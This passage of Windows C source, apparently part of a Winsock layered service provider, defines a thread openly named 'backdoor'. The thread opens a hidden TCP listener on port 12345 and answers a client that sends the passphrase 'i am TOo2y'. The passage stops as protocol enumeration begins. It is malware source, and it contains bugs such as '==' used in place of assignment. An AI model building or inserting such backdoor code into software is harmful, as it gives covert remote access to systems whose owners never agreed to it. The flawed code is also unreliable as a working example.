#include <tchar.h>
#include <winsock2.h>
GUID filterguid={0xc5fabbd0,0x9736,0x11d1,{0x93,0x7f,0x00,0xc0,0x4f,0xad,0x86,0x0d}};
LPWSAPROTOCOL_INFOW protoinfo=NULL;
WSPPROC_TABLE nextproctable;
DWORD protoinfosize=0;
HANDLE hmutex;
HANDLE hthread;
POINT nowpt;
int totalprotos=0;
DWORD WINAPI backdoor(LPVOID)
{
SOCKET sock,sockt;
WSADATA wsa;
int iret=0;
char msg[25];
struct sockaddr_in sin;
if(WSAStartup(MAKEWORD(2,2),&wsa))
{
OutputDebugString(_T("WSAStartup Error!"));
return 0;
}
if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)
{
OutputDebugString(_T("Socket Error!"));
return 0;
}
sin.sin_addr.s_addr=htons(INADDR_ANY);
sin.sin_family=AF_INET;
sin.sin_port=htons(12345);
if(bind(sock,(struct sockaddr *)&sin,sizeof(sin))==SOCKET_ERROR)
{
OutputDebugString(_T("Bind Error!"));
return 0;
}
if(listen(sock,5)==SOCKET_ERROR)
{
OutputDebugString(_T("Listen Error!"));
return 0;
}
while(1)
{
if((sockt=accept(sock,NULL,NULL))==SOCKET_ERROR)
{
OutputDebugString(_T("Accept Error!"));
continue;
}
if((iret==recv(sockt,msg,sizeof(msg),0))==SOCKET_ERROR)
{
OutputDebugString(_T("Recv Error!"));
closesocket(sockt);
continue;
}
if(strstr(msg,"i am TOo2y"))
{
memset(msg,0,sizeof(msg));
memcpy(msg,"i am waiting for you !",sizeof(msg)-1);
if((iret==send(sockt,msg,sizeof(msg),0))==SOCKET_ERROR)
{
OutputDebugString(_T("Send Error!"));
closesocket(sockt);
continue;
}
}
OutputDebugString(_T("Transport Successfully"));
closesocket(sockt);
}
return 1;
}
BOOL getfilter()
{
int errorcode;
protoinfo=NULL;
protoinfosize=0;
totalprotos=0;
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